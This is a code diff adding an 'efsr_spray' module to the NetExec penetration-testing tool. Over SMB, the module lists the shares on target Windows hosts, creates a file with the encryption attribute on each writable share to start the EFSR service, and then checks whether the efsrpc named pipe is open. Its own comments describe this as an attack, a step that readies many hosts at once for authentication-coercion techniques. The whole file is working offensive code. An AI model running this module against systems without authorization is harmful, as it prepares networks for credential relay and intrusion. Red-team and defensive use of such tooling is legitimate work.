|
| 1 | +import ntpath |
| 2 | +from nxc.helpers.misc import gen_random_string |
| 3 | +from nxc.context import Context |
| 4 | +from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED |
| 5 | +from impacket.smbconnection import SessionError, SMBConnection |
| 6 | + |
| 7 | + |
| 8 | +def get_error_string(exception): |
| 9 | + if hasattr(exception, "getErrorString"): |
| 10 | + try: |
| 11 | + es = exception.getErrorString() |
| 12 | + except KeyError: |
| 13 | + return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}" |
| 14 | + if type(es) is tuple: |
| 15 | + return es[0] |
| 16 | + else: |
| 17 | + return es |
| 18 | + else: |
| 19 | + return str(exception) |
| 20 | + |
| 21 | + |
| 22 | +class NXCModule: |
| 23 | + """EFSR Spray Module |
| 24 | + Module by @rtpt-romankarwacik |
| 25 | + """ |
| 26 | + |
| 27 | + name = "efsr_spray" |
| 28 | + description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share." |
| 29 | + supported_protocols = ["smb"] |
| 30 | + opsec_safe = True # Does the module touch disk? |
| 31 | + multiple_hosts = True # Does the module support multiple hosts? |
| 32 | + excluded_shares = ["SYSVOL"] |
| 33 | + |
| 34 | + def options(self, context: Context, module_options: dict[str, str]): |
| 35 | + """ |
| 36 | + FILE_NAME Name of the file which will be tried to create and afterwards delete |
| 37 | + SHARE_NAME If set, ONLY this share will be used |
| 38 | + EXCLUDED_SHARES List of share names which will not be used, seperated by comma |
| 39 | + """ |
| 40 | + self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt")) |
| 41 | + self.share_name = module_options.get("SHARE_NAME") |
| 42 | + if module_options.get("EXCLUDED_SHARES"): |
| 43 | + self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",") |
| 44 | + |
| 45 | + def on_login(self, context: Context, connection): |
| 46 | + conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:( |
| 47 | + |
| 48 | + try: |
| 49 | + shares = conn.listShares() |
| 50 | + except SessionError as e: |
| 51 | + error = get_error_string(e) |
| 52 | + context.log.fail(f"Error enumerating shares: {error}", color="magenta") |
| 53 | + return |
| 54 | + |
| 55 | + # Check if named pipe is already available |
| 56 | + try: |
| 57 | + named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")] |
| 58 | + if "efsrpc" in named_pipe_names: |
| 59 | + context.log.highlight("efsrpc named pipe is already available!") |
| 60 | + # if it is already activated we just skip this computer |
| 61 | + return |
| 62 | + except SessionError as e: |
| 63 | + error = get_error_string(e) |
| 64 | + context.log.fail(f"Error enumerating named pipes: {error}", color="magenta") |
| 65 | + return |
| 66 | + |
| 67 | + # Write an encrypted file on the share root. |
| 68 | + # This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files, |
| 69 | + # but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access |
| 70 | + for share in shares: |
| 71 | + share_name = share["shi1_netname"][:-1] |
| 72 | + if self.share_name is not None and self.share_name != share_name: |
| 73 | + continue |
| 74 | + |
| 75 | + if share_name in self.excluded_shares: |
| 76 | + continue |
| 77 | + |
| 78 | + try: |
| 79 | + context.log.debug(f"Connecting to share {share_name}...") |
| 80 | + tid = conn.connectTree(share_name) |
| 81 | + except SessionError as e: |
| 82 | + context.log.debug(f"Could not connect to share {share_name}: {e}") |
| 83 | + continue |
| 84 | + try: |
| 85 | + context.log.debug(f"Creating file in {share_name}...") |
| 86 | + fid = conn.createFile(tid, self.file_name, |
| 87 | + desiredAccess=FILE_SHARE_WRITE, |
| 88 | + shareMode=FILE_SHARE_DELETE, |
| 89 | + fileAttributes=FILE_ATTRIBUTE_ENCRYPTED) |
| 90 | + conn.closeFile(tid, fid) |
| 91 | + try: |
| 92 | + # this can happen when we have special permissions to create encrypted files |
| 93 | + conn.deleteFile(share_name, self.file_name) |
| 94 | + except SessionError as e: |
| 95 | + error = get_error_string(e) |
| 96 | + if error == "STATUS_OBJECT_NAME_NOT_FOUND": |
| 97 | + pass |
| 98 | + context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}") |
| 99 | + except SessionError as e: |
| 100 | + context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)") |
| 101 | + |
| 102 | + try: |
| 103 | + tid = conn.connectTree("IPC$") |
| 104 | + conn.waitNamedPipe(tid, "efsrpc", 10) |
| 105 | + context.log.highlight("Successfully activated efsrpc named pipe!") |
| 106 | + except SessionError as e: |
| 107 | + error = get_error_string(e) |
| 108 | + if error == "STATUS_OBJECT_NAME_NOT_FOUND": |
| 109 | + context.log.debug("efsrpc pipe was not activated.") |
| 110 | + else: |
| 111 | + context.log.fail(f"Error waiting for named pipe: {error}", color="magenta") |
| 112 | + return |
0 commit comments